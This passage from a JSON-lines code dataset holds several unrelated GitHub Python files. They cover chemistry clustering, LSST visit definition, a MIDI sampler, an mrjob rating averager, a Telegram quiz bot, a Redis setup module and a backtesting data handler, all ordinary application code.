os.path.join(self._config.get_directory(\"images\"), f\"groups\")\n draw_entities(groups, g_dir, from_idx, to_idx)\n\n def draw_substituents(self, from_idx=0, to_idx=200):\n\n subs = self.cd.get_substituents()\n s_dir = os.path.join(self._config.get_directory(\"images\"), f\"subs\")\n draw_entities(subs, s_dir, from_idx, to_idx)\n\n def draw_bridges(self, from_idx=0, to_idx=200):\n\n bridges = self.cd.get_bridges()\n b_dir = os.path.join(self._config.get_directory(\"images\"), f\"bridges\")\n draw_entities(bridges, b_dir, from_idx, to_idx)\n\n def draw_fragments(self, from_idx, to_idx):\n\n frags = self.fd.get_fragments()\n frag_dir = os.path.join(self._config.get_directory(\"images\"), \"fragments\")\n draw_entities(frags, frag_dir, from_idx, to_idx)\n\n def draw_group_clusters(\n self,\n cutoff=0.2,\n fp_type=\"MACCS\",\n similarity=\"dice\",\n singletons=False,\n from_idx=0,\n to_idx=200,\n clust_nums=None,\n ):\n\n cgm = self.gd.get_group_clusters()\n if not clust_nums:\n clust_nums = range(0, cgm[\"cluster_id\"].max() + 1)\n for clust_num in clust_nums:\n group_indices = cgm[clust_num == cgm[\"cluster_id\"]][\"group_id\"]\n groups_tmp = self.groups[group_indices]\n if (not singletons) and groups_tmp.size == 1:\n continue\n cluster_dir = os.path.join(\n self._config.get_directory(\"images\"), f\"clusters/cluster_{clust_num}/\"\n )\n draw_entities(groups_tmp, cluster_dir, from_idx, to_idx)\n\n def novel_fp_scatter(self, min_size, counts=True, save_as=None):\n self.gm.group_fp_scatter(min_size, counts, save_as)\n\n def comp_dist_plot(self, save_as=None):\n self.mm.comp_hexbin(save_as)\n\n def group_violin_plots(self, groups, save_as=None):\n self.mm.group_lambda_dist(groups, save_as)\n\n def get_group_cluster(self, group_id):\n return self.gd.get_group_cluster(group_id)\n\n def draw_group_cluster_mols(self, cluster_id):\n\n group_idx = self.gd.get_cluster_groups(cluster_id)\n groups = self.groups[group_idx]\n\n mols = self.gd.get_groups_mols(group_ids=groups.index)\n mg_dir = os.path.join(\n self._config.get_directory(\"images\"), f\"cluster_{cluster_id}_mols/\"\n )\n legends = mols.apply(lambda x: x.get_legend(self.DEV_FLAG))\n draw_mols_canvas(mols, legends, mg_dir, suffix=\"\", start_idx=0)\n\n\nif __name__ == \"__main__\":\n cc = ChemCluster()\n cc.generate_fragments()\n cc.generate_novel_fps()\n","repo_name":"PjFlan/chemcluster","sub_path":"chemcluster.py","file_name":"chemcluster.py","file_ext":"py","file_size_in_byte":11846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"1597303850","text":"import ast\nimport os\nimport pickle\nimport numpy as np\nfrom utils.tokenizer import tokenize, split_list\nfrom utils.BASEDIR import BASEDIR\nimport matplotlib.pyplot as plt\nimport json\n\nos.chdir(BASEDIR)\n\n\nSAVE_PATH = 'model_data'\n\n\n\nclass DataProcessor:\n def __init__(self):\n # zss key has bad data, use angle_steers instead as ground truth\n self.csv_keys = ['angle_steers', 'shitty_angle', 'zss', 'output_steer', 'wheel_speeds.fl', 'wheel_speeds.fr', 'wheel_speeds.rl', 'wheel_speeds.rr']\n\n def start(self):\n self.load_data()\n self.plot_data()\n\n def plot_data(self):\n shitty_angle = [line['shitty_angle'] for line in self.driving_data]\n angle_steers = [line['angle_steers'] for line in self.driving_data]\n plt.plot(shitty_angle, label='shitty_angle')\n plt.plot(angle_steers, label='good angle')\n plt.legend()\n plt.show()\n\n def load_data(self):\n self.driving_data = []\n for data_file in os.listdir('data/'):\n if 'broken' in data_file:\n print('Skipping file: {}'.format(data_file))\n continue\n print('Loading: {}'.format(data_file))\n with open('data/{}'.format(data_file), 'r') as f:\n data = f.read().split('\\n')\n\n for line in data:\n try:\n line = dict(zip(self.csv_keys, ast.literal_eval('[{}]'.format(line))))\n if len(line) == 0:\n continue\n self.driving_data.append(line)\n except:\n print('error with line: {}'.format(line))\n\n\nif __name__ == '__main__':\n dp = DataProcessor()\n dp.start()\n","repo_name":"sshane/virtualZSS","sub_path":"utils/process_data.py","file_name":"process_data.py","file_ext":"py","file_size_in_byte":1527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"43456743554","text":"import os\r\nimport sqlite3\r\nmain_path = os.path.dirname(os.path.abspath(__file__)) # 絶対パス\r\nos.chdir(main_path) # 絶対パスに移動\r\ndbname = \"test.db\" # データベースを設定\r\nconn = sqlite3.connect(dbname) # データベースに接続\r\ncur = conn.cursor() # SQLiteを操作\r\nquery = \"INSERT INTO customers(customer_name,customer_unit_price) VALUES('顧客A',1000)\" # customer_name、customer_unit_price列を追加\r\ncur.execute(query) # クエリを実行\r\nconn.commit() # トランザクションの結果を確定\r\nconn.close() # 接続を切断","repo_name":"nonakayasuo/practice-sqlalchemy","sub_path":"1_practice_SQL/4_insert.py","file_name":"4_insert.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"9310835899","text":"from __future__ import annotations\nfrom abc import abstractmethod\n\n__all__ = (\"DefineVisits\", \"PatchExistingVisits\")\n\nfrom typing import Optional, Set, Tuple, Type, TYPE_CHECKING\n\nfrom lsst.utils import doImport\n\nfrom ._operation import AdminOperation, OperationNotReadyError\n\nif TYPE_CHECKING:\n from lsst.daf.butler import DataCoordinate\n from lsst.obs.base import DefineVisitsTask, Instrument\n from ._tool import RepoAdminTool\n\n\nclass BaseVisitsOperation(AdminOperation):\n \"\"\"An intermediate base `AdminOperation` that runs `DefineVisitsTask`.\n\n Parameters\n ----------\n name : `str`\n Name of the operation. Should include any parent-operation prefixes\n (see `AdminOperation` documentation).\n instrument_name : `str`\n Short (dimension) name of the instrument.\n task_class_name : `str`, optional\n Fully-qualified path to the `DefineVisitsTask` subclass to use\n (defaults to \"lsst.obs.base.DefineVisitsTask\" itself). This is passed\n as a string instead of a type or instance to defer imports (which can\n be very slow) until they are actually needed, rather than include them\n in `RepoDefinition` object instantiations.\n visit_system : `str`, optional\n Name of the visit system (and ``groupExposures`` subtask registration)\n that groups exposures.\n \"\"\"\n def __init__(\n self,\n name: str,\n instrument_name: str,\n task_class_name: str = \"lsst.obs.base.DefineVisitsTask\",\n visit_system: Optional[str] = None,\n ):\n super().__init__(name)\n self.instrument_name = instrument_name\n self.task_class_name = task_class_name\n self.visit_system = visit_system\n\n def print_status(self, tool: RepoAdminTool, indent: int) -> None:\n # Docstring inherited.\n todo, n_done = self.query(tool)\n if todo:\n if n_done:\n print(f\"{' '*indent}{self.name}: in progress; \"\n f\"{n_done} visits done, {len(todo)} exposures remaining\")\n else:\n print(f\"{' '*indent}{self.name}: not started; {len(todo)} exposures found\")\n else:\n if not n_done:\n print(f\"{' '*indent}{self.name}: not started, and nothing to do (yet?)\")\n else:\n print(f\"{' '*indent}{self.name}: {n_done} visits defined\")\n\n def run(self, tool: RepoAdminTool) -> None:\n # Docstring inherited.\n instrument = self.instrument(tool)\n task = self.make_task(tool, instrument=instrument)\n todo, _ = self.query(tool, instrument=instrument, task=task)\n self.run_task(tool, todo, instrument=instrument, task=task)\n\n def instrument(self, tool: RepoAdminTool) -> Instrument:\n \"\"\"Return the `Instrument` instance associated with this operation.\n \"\"\"\n from lsst.obs.base import Instrument\n return Instrument.fromName(self.instrument_name, tool.butler.registry)\n\n @property\n def TaskClass(self) -> Type[DefineVisitsTask]:\n \"\"\"Task class (subclass of `DefineVisitsTask`) to run.\n \"\"\"\n return doImport(self.task_class_name)\n\n def make_task(self, tool: RepoAdminTool, *, instrument: Optional[Instrument] = None) -> DefineVisitsTask:\n \"\"\"Construct the `DefineVisitsTask` instance to use in `run`.\n\n Parameters\n ----------\n tool : `RepoAdminTool`\n Object managing shared state for all operations.\n instrument : `Instrument`, optional\n The `Instrument` instance associated with this operation; obtained\n from the `instrument` method if not provided.\n \"\"\"\n if instrument is None:\n instrument = self.instrument(tool)\n config = self.TaskClass.ConfigClass()\n self.instrument(tool).applyConfigOverrides(self.TaskClass._DefaultName, config)\n if self.visit_system is not None:\n config.groupExposures.name = self.visit_system\n return self.TaskClass(config=config, butler=tool.butler)\n\n @abstractmethod\n def run_task(self, tool: RepoAdminTool, todo: Set[DataCoordinate],\n instrument: Optional[Instrument] = None,\n task: Optional[DefineVisitsTask] = None) -> None:\n \"\"\"Actually run `DefineVisitsTask.run`.\n\n Parameters\n ----------\n tool : `RepoAdminTool`\n Object managing shared state for all operations.\n todo : `set` [ `DataCoordinate` ]\n Exposure data IDs to process.\n instrument : `Instrument`, optional\n The `Instrument` instance associated with this operation; obtained\n from the `instrument` method if not provided.\n task : `DefineVisitsTask`, optional\n The `DefineVisitsTask` instance associated with this operation;\n obtained from the `make_task` method if not provided.\n \"\"\"\n raise NotImplementedError()\n\n @abstractmethod\n def query(self, tool: RepoAdminTool, *, instrument: Optional[Instrument] = None,\n task: Optional[DefineVisitsTask] = None) -> Tuple[Set[DataCoordinate], int]:\n \"\"\"Query for exposures that still need to be processed.\n\n Parameters\n ----------\n tool : `RepoAdminTool`\n Object managing shared state for all operations.\n instrument : `Instrument`, optional\n The `Instrument` instance associated with this operation; obtained\n from the `instrument` method if not provided.\n task : `DefineVisitsTask`, optional\n The `DefineVisitsTask` instance associated with this operation;\n obtained from the `make_task` method if not provided.\n\n Returns\n -------\n todo : `set` [ `DataCoordinate` ]\n Exposure data IDs that still need to be grouped into visits.\n n_done : `int`\n Number of visits already defined.\n \"\"\"\n raise NotImplementedError()\n\n\nclass DefineVisits(BaseVisitsOperation):\n \"\"\"A concrete `AdminOperation` that define visits as groups of exposures\n and computes their spatial regions, via `DefineVisitsTask`.\n\n Parameters\n ----------\n name : `str`\n Name of the operation. Should include any parent-operation prefixes\n (see `AdminOperation` documentation).\n instrument_name : `str`\n Short (dimension) name of the instrument.\n task_class_name : `str`, optional\n Fully-qualified path to the `DefineVisitsTask` subclass to use\n (defaults to \"lsst.obs.base.DefineVisitsTask\" itself). This is passed\n as a string instead of a type or instance to defer imports (which can\n be very slow) until they are actually needed, rather than include them\n in `RepoDefinition` object instantiations.\n visit_system : `str`, optional\n Name of the visit system (and ``groupExposures`` subtask registration)\n that groups exposures.\n collections : `tuple` [ `str` ], optional\n Collection search path for datasets needed to define visits (depends\n on task configuration, but this should usually include a camera, raws,\n or both).\n \"\"\"\n def __init__(\n self,\n name: str,\n instrument_name: str,\n task_class_name: str = \"lsst.obs.base.DefineVisitsTask\",\n visit_system: Optional[str] = None,\n collections: Optional[Tuple[str, ...]] = None,\n ):\n super().__init__(name, instrument_name, task_class_name, visit_system=visit_system)\n self._collections = collections\n\n def collections(self, tool: RepoAdminTool, *, instrument: Optional[Instrument] = None,\n ) -> Tuple[str, ...]:\n \"\"\"Return the collections to pass to `DefineVisitsTask.run` in order to\n load camera geometry and/or raw images.\n\n Parameters\n ----------\n tool : `RepoAdminTool`\n Object managing shared state for all operations.\n instrument : `Instrument`, optional\n The `Instrument` instance associated with this operation; obtained\n from the `instrument` method if not provided.\n\n Returns\n -------\n collections : `tuple` [ `str` ]\n Collections to pass to `DefineVisitsTask.run`.\n \"\"\"\n if instrument is None:\n instrument = self.instrument(tool)\n if self._collections is not None:\n result = self._collections\n else:\n result = (\n instrument.makeCalibrationCollectionName(),\n instrument.makeDefaultRawIngestRunName(),\n )\n found = set(tool.butler.registry.queryCollections(result))\n if found != set(result):\n raise OperationNotReadyError(f\"Collections {set(result) - found} do not yet exist.\")\n return result\n\n def run_task(self, tool: RepoAdminTool, todo: Set[DataCoordinate],\n instrument: Optional[Instrument] = None,\n task: Optional[DefineVisitsTask] = None) -> None:\n # Docstring inherited.\n collections = self.collections(tool, instrument=instrument)\n if not tool.dry_run:\n task.run(todo, collections=collections, processes=tool.jobs)\n\n def query(self, tool: RepoAdminTool, *, instrument: Optional[Instrument] = None,\n task: Optional[DefineVisitsTask] = None) -> Tuple[Set[DataCoordinate], int]:\n # Docstring inherited.\n if instrument is None:\n instrument = self.instrument(tool)\n if task is None:\n task = self.make_task(tool, instrument=instrument)\n # A set of exposure IDs we've already processed.\n done = {\n record.exposure\n for record in tool.progress.wrap(\n tool.butler.registry.queryDimensionRecords(\n \"visit_definition\",\n instrument=self.instrument_name,\n where=\"visit_system=VS\",\n bind=dict(VS=task.groupExposures.getVisitSystem()[0]),\n ),\n desc=\"Querying for existing visit definitions\",\n )\n }\n # A set of all exposure data IDs we still need to process\n exposures = {\n data_id\n for data_id in tool.progress.wrap(\n tool.butler.registry.queryDataIds(\n \"exposure\",\n instrument=self.instrument_name,\n where=\"exposure.observation_type='science'\",\n ).expanded(),\n desc=\"Querying for exposures to process\",\n )\n if data_id[\"exposure\"] not in done\n }\n return exposures, len(done)\n\n\nclass PatchExistingVisits(BaseVisitsOperation):\n \"\"\"A concrete `AdminOperation` that runs `DefineVisitsTask` again on\n existing visits to update them.\n\n Parameters\n ----------\n name : `str`\n Name of the operation. Should include any parent-operation prefixes\n (see `AdminOperation` documentation).\n instrument_name : `str`\n Short (dimension) name of the instrument.\n task_class_name : `str`, optional\n Fully-qualified path to the `DefineVisitsTask` subclass to use\n (defaults to \"lsst.obs.base.DefineVisitsTask\" itself). This is passed\n as a string instead of a type or instance to defer imports (which can\n be very slow) until they are actually needed, rather than include them\n in `RepoDefinition` object instantiations.\n visit_system : `str`, optional\n Name of the visit system (and ``groupExposures`` subtask registration)\n that groups exposures.\n \"\"\"\n\n def run_task(self, tool: RepoAdminTool, todo: Set[DataCoordinate],\n instrument: Optional[Instrument] = None,\n task: Optional[DefineVisitsTask] = None) -> None:\n # Docstring inherited.\n if not tool.dry_run:\n task.run(todo, processes=tool.jobs, update_records=True)\n\n def query(self, tool: RepoAdminTool, *, instrument: Optional[Instrument] = None,\n task: Optional[DefineVisitsTask] = None) -> Tuple[Set[DataCoordinate], int]:\n # Docstring inherited.\n if instrument is None:\n instrument = self.instrument(tool)\n if task is None:\n task = self.make_task(tool, instrument=instrument)\n # A set of exposure IDs we've already made visits for, and hence want\n # to patch.\n graph = tool.butler.registry.dimensions[\"exposure\"].graph\n todo = {\n data_id.subset(graph)\n for data_id in tool.progress.wrap(\n tool.butler.registry.queryDataIds(\n [\"exposure\", \"visit\"],\n instrument=self.instrument_name,\n where=\"visit_system=VS\",\n bind=dict(VS=task.groupExposures.getVisitSystem()[0]),\n ).expanded(),\n desc=\"Querying for existing visit definitions\",\n )\n }\n return todo, 0\n","repo_name":"lsst-dm/gen3_shared_repo_admin","sub_path":"python/lsst/gen3_shared_repo_admin/visits.py","file_name":"visits.py","file_ext":"py","file_size_in_byte":12989,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"16075669418","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\nMidi Sampler\n============\n\"\"\"\n\nimport io\nimport os\nimport json\nimport rtmidi\nimport threading\nimport traceback\nfrom time import time, sleep\nfrom rtmidi.midiconstants import (ALL_SOUND_OFF, CONTROL_CHANGE,\n RESET_ALL_CONTROLLERS, NOTE_ON,\n NOTE_OFF, SONG_START,\n SONG_CONTINUE, SONG_STOP)\nfrom sdl2 import *\nfrom sdl2.ext import Resources\nfrom sdl2.ext.compat import byteify\nfrom sdl2.sdlmixer import *\n\nRESOURCES = Resources(__file__, \"assets\")\n\n\nclass Sampler(object):\n\n def __init__(self):\n self.midiin = rtmidi.MidiIn()\n self.initaudio()\n self.search()\n self.loop()\n\n def loop(self):\n while True:\n sleep(1)\n\n def initaudio(self):\n if SDL_Init(SDL_INIT_AUDIO) != 0:\n raise RuntimeError(\"Cannot initialize audio system: {}\".format(SDL_GetError()))\n\n if Mix_OpenAudio(44100, MIX_DEFAULT_FORMAT, 2, 1024):\n raise RuntimeError(\"Cannot open mixed audio: {}\".format(Mix_GetError()))\n\n self.sounds = {}\n for index in range(36, 101):\n try:\n sound_file = RESOURCES.get_path(\"{}.wav\".format(index))\n except KeyError:\n continue\n sample = Mix_LoadWAV(byteify(sound_file, \"utf-8\"))\n if sample is None:\n raise RuntimeError(\"Cannot open audio file: {}\".format(Mix_GetError()))\n self.sounds[index] = sample\n print(\"Loaded {}\".format(sound_file))\n\n # channel = Mix_PlayChannel(-1, sample, 0)\n # if channel == -1:\n # raise RuntimeError(\"Cannot play sample: {}\".format(Mix_GetError()))\n #\n # while Mix_Playing(channel):\n # SDL_Delay(100)\n #\n # Mix_CloseAudio()\n # SDL_Quit(SDL_INIT_AUDIO)\n\n\n def search(self):\n port = None\n\n while True:\n\n for index, name in enumerate(self.midiin.get_ports()):\n if \"Through\" in name:\n continue\n port = index\n break\n\n if port is not None:\n break\n\n sleep(1)\n continue\n\n self.midiin.open_port(port)\n midiin_name = self.midiin.get_port_name(port)\n self.midiin.set_callback(self.midiin_callback)\n print(\"Connected: in={}\".format(midiin_name))\n\n def midiin_callback(self, blob, data):\n print(\"MIDI IN: {}\".format(blob))\n message, deltatime = blob\n\n action = message[0] & 0xF0\n if not (action == NOTE_ON or action == NOTE_OFF):\n return\n\n note, velocity = message[1:]\n if action == NOTE_ON:\n self.play(note, velocity)\n else:\n self.stop(note, velocity)\n\n def play(self, note, velocity):\n if note in self.sounds:\n sample = self.sounds[note]\n print(\"Play {}\".format(sample))\n Mix_VolumeChunk(sample, max(64, velocity))\n Mix_PlayChannel(-1, sample, 0)\n\n def stop(self, note, velocity):\n pass\n\n\nif __name__ == \"__main__\":\n Sampler()\n","repo_name":"tito/midisampler","sub_path":"sampler.py","file_name":"sampler.py","file_ext":"py","file_size_in_byte":3192,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"44600709180","text":"from mrjob.job import MRJob\r\nfrom mrjob.step import MRStep\r\nfrom io import open \r\n\r\nclass AverageReviews(MRJob):\r\n\r\n #Configure self to add in the ancillary document u.item so movie ID can be \r\n #replaced by movie names later\r\n def configure_args(self):\r\n super(AverageReviews, self).configure_args()\r\n self.add_file_arg('--items', help='Path to u.item')\r\n \r\n #Define steps \r\n def steps(self):\r\n return [\r\n MRStep(mapper=self.mapper_get_ratings,\r\n reducer_init=self.reducer_init,\r\n reducer=self.reducer_count_ratings),\r\n MRStep(reducer = self.reducer_find_avgs)\r\n ]\r\n \r\n #Line.split the data input document. Use the mapper to yield the elements \r\n #that are relevant to the assignment: MovieID and rating (in numeric)\r\n def mapper_get_ratings(self, _, line):\r\n (userID, movieID, rating, timestamp) = line.split('\\t')\r\n yield movieID, float(rating)\r\n \r\n #Define a reducer_init()function to allow for a look up in the u.item so \r\n #MovieID can be replaced with movie name\r\n def reducer_init(self):\r\n self.movieNames = {}\r\n\r\n with open(\"u.item\", encoding='ascii', errors='ignore') as f:\r\n for line in f:\r\n fields = line.split('|')\r\n self.movieNames[fields[0]] = fields[1]\r\n\r\n #This reducer uses a loop to lopp through values (i.e., ratings created by \r\n #the previous mapper), to sum the ratings up for individual movies, count \r\n #the occurrence of ratings for individual movies, and divide the former by \r\n #the latter to get the average rating of the movie. Use view>=100 as a filter \r\n #to keep only the movies that have greater than 100 ratings. \r\n #The reducer yields movie names, average rating, and number of ratings. \r\n def reducer_count_ratings(self, key, values):\r\n total = 0\r\n views = 0\r\n for x in values:\r\n total += x\r\n views += 1\r\n if (views >= 100):\r\n yield '%05f'%(total / views), (self.movieNames[key], views)\r\n\r\n #Passing through the reducer one more time so the average ratings can be sorted in an ascending order. \r\n def reducer_find_avgs(self, values, key):\r\n yield values, key\r\n \r\n\r\nif __name__ == '__main__':\r\n AverageReviews.run()\r\n\r\n#ml-100k is in same folder as python file and working . u.item and u.data are the two documents needed for this task\r\n#Execution Statement: copy and paste to the console to run\r\n#!python Module2Group2.py --items=ml-100k/u.item ml-100k/u.data > SortedMoviebyRatings.txt","repo_name":"jmerten/Machine-Learning-II","sub_path":"Spark/Week2/group2AverageReviews.py","file_name":"group2AverageReviews.py","file_ext":"py","file_size_in_byte":2625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"33487754278","text":"import logging\nimport random\nfrom bot import SHEET_KEY, SHEET_NAME_TECH, SHEET_NAME_USERS, TOKEN, PARSE_MODE, strings\nfrom bot.helper.google_sheets import get_questions\nfrom bot.helper.keyboards import set_keyboard_small, set_keyboard_wide\nfrom bot import application, strings\nfrom telegram.ext import ConversationHandler, CommandHandler, CallbackQueryHandler\nfrom telegram import InlineKeyboardMarkup\n\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.INFO)\n\nQUESTION = range(1)\n\n\nasync def start(update, context):\n context.user_data.clear()\n context.user_data[\"username\"] = update.message.from_user[\"username\"]\n context.user_data[\"right_count\"] = 0\n context.user_data[\"wrong_count\"] = 0\n\n logger.info(f\"User {context.user_data['username']} called /start\")\n\n context.user_data[\"questions\"] = get_questions(\n SHEET_KEY,\n SHEET_NAME_TECH,\n SHEET_NAME_USERS,\n TOKEN,\n context.user_data[\"username\"],\n update.message.chat_id,\n )\n\n await update.message.reply_text(\n text=strings[\"quiz_start\"].format(number=len(context.user_data[\"questions\"])),\n parse_mode=PARSE_MODE,\n )\n\n return await form_question(update, context)\n\n\nasync def form_question(update, context):\n logger.info(\n f\"User {context.user_data['username']} has {len(context.user_data['questions'])} unanswered questions\"\n )\n\n if len(context.user_data[\"questions\"]) == 0:\n await update.message.reply_text(\n text=strings[\"quiz_finish\"].format(\n right_count=context.user_data[\"right_count\"],\n wrong_count=context.user_data[\"wrong_count\"],\n ),\n parse_mode=PARSE_MODE,\n )\n logger.info(f\"User {context.user_data['username']} ran out of questions\")\n return ConversationHandler.END\n\n context.user_data[\"question_number\"] = random.choice(\n list(context.user_data[\"questions\"].keys())\n )\n logger.info(\n f\"User {context.user_data['username']} rolled {context.user_data['question_number']} question\"\n )\n\n data = list(\n map(str, context.user_data[\"questions\"][context.user_data[\"question_number\"]])\n )\n logger.info(f\"User {context.user_data['username']} question data {data}\")\n\n context.user_data[\"question\"] = data.pop(0)\n context.user_data[\"answer\"] = data[0]\n context.user_data[\"question_photo\"] = data.pop()\n keyboard = None\n random.shuffle(data)\n\n if any([True for x in data if len(x) >= 32]):\n context.user_data[\"answer\"] = str(data.index(context.user_data[\"answer\"]) + 1)\n context.user_data[\"question\"] = strings[\"long_question\"].format(\n question=context.user_data[\"question\"],\n option_0=data[0],\n option_1=data[1],\n option_2=data[2],\n )\n keyboard = set_keyboard_small(\"1\", \"2\", \"3\")\n else:\n if any([True for x in data if len(x) >= 16]):\n keyboard = set_keyboard_wide(data[0], data[1], data[2])\n else:\n keyboard = set_keyboard_small(data[0], data[1], data[2])\n\n reply_markup = InlineKeyboardMarkup(keyboard)\n\n if context.user_data[\"question_photo\"]:\n # print(\"photo\")\n with open(\n \"bot/config/images/\" + context.user_data[\"question_photo\"] + \".png\",\n \"rb\",\n ) as image:\n await update.message.reply_photo(\n photo=image,\n caption=context.user_data[\"question\"],\n reply_markup=reply_markup,\n )\n else:\n await update.message.reply_text(\n context.user_data[\"question\"], reply_markup=reply_markup\n )\n return QUESTION\n\n\nasync def answer_button(update, context):\n query = update.callback_query\n await query.answer()\n\n edit_type, message_type = (\n (\"edit_message_caption\", \"caption\")\n if context.user_data[\"question_photo\"]\n else (\"edit_message_text\", \"text\")\n )\n\n answer = (\n \"right_answer\" if query.data == context.user_data[\"answer\"] else \"wrong_answer\"\n )\n\n await getattr(query, edit_type)(\n **{\n message_type: strings[answer].format(\n question=context.user_data[\"question\"],\n answer=context.user_data[\"answer\"],\n ),\n \"parse_mode\": PARSE_MODE,\n }\n )\n\n if answer == \"right_answer\":\n context.user_data[\"right_count\"] += 1\n context.user_data[\"questions\"].pop(context.user_data[\"question_number\"])\n else:\n context.user_data[\"wrong_count\"] += 1\n\n logger.info(f\"User {context.user_data['username']} got the {answer}\")\n\n return await form_question(query, context)\n\n\nasync def cancel(update, context):\n await update.message.reply_text(\n text=strings[\"quiz_finish\"].format(\n right_count=context.user_data[\"right_count\"],\n wrong_count=context.user_data[\"wrong_count\"],\n ),\n parse_mode=PARSE_MODE,\n )\n logger.info(f\"User {update.message.from_user['username']} called cancel\")\n return ConversationHandler.END\n\n\nasync def false_start(update, context):\n await update.message.reply_text(strings[\"false_start\"], parse_mode=PARSE_MODE)\n logger.info(f\"User {update.message.from_user['username']} called false_start\")\n\n\nasync def false_cancel(update, context):\n await update.message.reply_text(strings[\"false_cancel\"], parse_mode=PARSE_MODE)\n logger.info(f\"User {update.message.from_user['username']} called false_cancel\")\n\n\nconv_handler = ConversationHandler(\n entry_points=[CommandHandler(\"start\", start)],\n allow_reentry=False,\n states={QUESTION: [CallbackQueryHandler(answer_button)]},\n fallbacks=[CommandHandler(\"cancel\", cancel)],\n)\n\napplication.add_handler(conv_handler)\n\napplication.add_handler(CommandHandler(\"start\", false_start))\napplication.add_handler(CommandHandler(\"cancel\", false_cancel))\n","repo_name":"searayeah/v-bot","sub_path":"bot/modules/quiz.py","file_name":"quiz.py","file_ext":"py","file_size_in_byte":5891,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"28670841251","text":"import os\nfrom sys import stderr\nfrom uuid import uuid4\n\nfrom redis import Redis\nfrom future import standard_library\nfrom IPython.parallel.error import TimeoutError\nwith standard_library.hooks():\n from configparser import ConfigParser\n\nfrom moi.context import Context # noqa\n\n\ndef _support_directory():\n \"\"\"Get the path of the support_files directory\"\"\"\n from os.path import join, dirname, abspath\n return join(dirname(abspath(__file__)), 'support_files')\n\n\ndef moi_js():\n \"\"\"Return the absolute path to moi.js\"\"\"\n from os.path import join\n return join(_support_directory(), 'moi.js')\n\n\ndef moi_list_js():\n \"\"\"Return the absolute path to moi_list.js\"\"\"\n from os.path import join\n return join(_support_directory(), 'moi_list.js')\n\n\nREDIS_KEY_TIMEOUT = 84600 * 14 # two weeks\n\n\n# parse the config bits\nif 'MOI_CONFIG_FP' not in os.environ:\n raise IOError('$MOI_CONFIG_FP is not set')\n\n_config = ConfigParser()\nwith open(os.environ['MOI_CONFIG_FP']) as conf:\n _config.readfp(conf)\n\n\n# establish a connection to the redis server\nr_client = Redis(host=_config.get('redis', 'host'),\n port=_config.getint('redis', 'port'),\n password=_config.get('redis', 'password'),\n db=_config.get('redis', 'db'))\n\n# make sure we can connect, let the error propogate so it can be caught\n# or observed upstrean\nkey = 'MOI_INIT_TEST_%s' % str(uuid4())\nr_client.set(key, 42)\nr_client.delete(key)\n\n# setup contexts\nctxs = {}\nfailed = []\nfor name in _config.get('ipython', 'context').split(','):\n try:\n ctxs[name] = Context(name)\n except (TimeoutError, IOError, ValueError):\n failed.append(name)\n\nif failed:\n stderr.write('Unable to connect to ipcluster(s): %s\\n' % ', '.join(failed))\n\nctx_default = _config.get('ipython', 'default')\n\n\n__version__ = '0.2.0-dev'\n__all__ = ['r_client', 'ctxs', 'ctx_default', 'REDIS_KEY_TIMEOUT', 'moi_js',\n 'moi_list_js']\n","repo_name":"biocore/mustached-octo-ironman","sub_path":"moi/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1947,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"14704528002","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Sep 13 23:58:46 2015\r\n\r\n@author: Yibing\r\n\"\"\"\r\nimport pandas as pd\r\nfrom copy import copy \r\n\r\nclass CSVDataHandler(object):\r\n \"\"\"This is the most common type of datahandler, the csv file contains \r\n the market information (OHLVC) as well as all the information you might\r\n need to backtest the trading strategies.\r\n\r\n Parameters\r\n ----------\r\n tickers : array-like\r\n Represents different stocks, also the name of the file.\r\n benchmarks : list of string\r\n The close price of the benchmark index along the time.\r\n \r\n Attributes\r\n ----------\r\n benchmarks : Dictionary, (ticker: pd.Series)\r\n Close price along the index. Could be multiple benchmarks\r\n historical_data : Dictionay, (ticker: pd.DataFrame) \r\n Each DataFrame stores generators of each row (data of each date). \r\n recent_data : Dictionary of list\r\n Each list stores most recent bars with the latest at the end. \r\n index : pandas index object\r\n Datetime of each row.\r\n columns : List of strings\r\n Labels of each feature \r\n \r\n Example:\r\n -------\r\n If you want to test the simple moving average crossover strategy, then \r\n the csv file must also contain the short term and long term average price, \r\n which is necessary in the trading decision making.\r\n \r\n Notice:\r\n -------\r\n The first column must be datetime, the multiple files must have the same\r\n index and the same column names, or it might cause assertion error.\r\n \r\n\r\n \"\"\"\r\n def __init__(self, tickers, benchmarks):\r\n self.tickers = tickers\r\n self.benchmarks = {}\r\n self.historical_data = {}\r\n ##################\r\n # Importing data #\r\n ################## \r\n for i, s in enumerate(self.tickers):\r\n self.historical_data[s] = pd.read_csv(u'C:\\\\Users\\\\Yibing\\\\Documents\\\\Python\\\\back_test\\\\strategy\\\\data\\\\%s.csv'%s, \r\n index_col=0,\r\n parse_dates=True)\r\n \r\n # double check whether the indeces of multipe files are matched \r\n assert (self.historical_data[s].index == \\\r\n self.historical_data[tickers[0]].index).all(), 'index not match'\r\n assert (self.historical_data[s].columns == \\\r\n self.historical_data[tickers[0]].columns).all(), 'columns not match'\r\n \r\n print('Successfully loaded %s' % (s,))\r\n print('\\n')\r\n\r\n self.index = self.historical_data[tickers[0]].index\r\n self.columns = self.historical_data[tickers[0]].columns\r\n \r\n for b in benchmarks:\r\n self.benchmarks[b] = pd.read_csv(u'C:\\\\Users\\\\Yibing\\\\Documents\\\\Python\\\\back_test\\\\resampled_data\\\\%s.csv'%b, \r\n index_col=0,\r\n parse_dates=True).reindex(index=self.index).close\r\n print('Successfully loaded %s' % (b,))\r\n print('\\n')\r\n\r\n self.cursor = 0\r\n self.length = len(self.index)\r\n 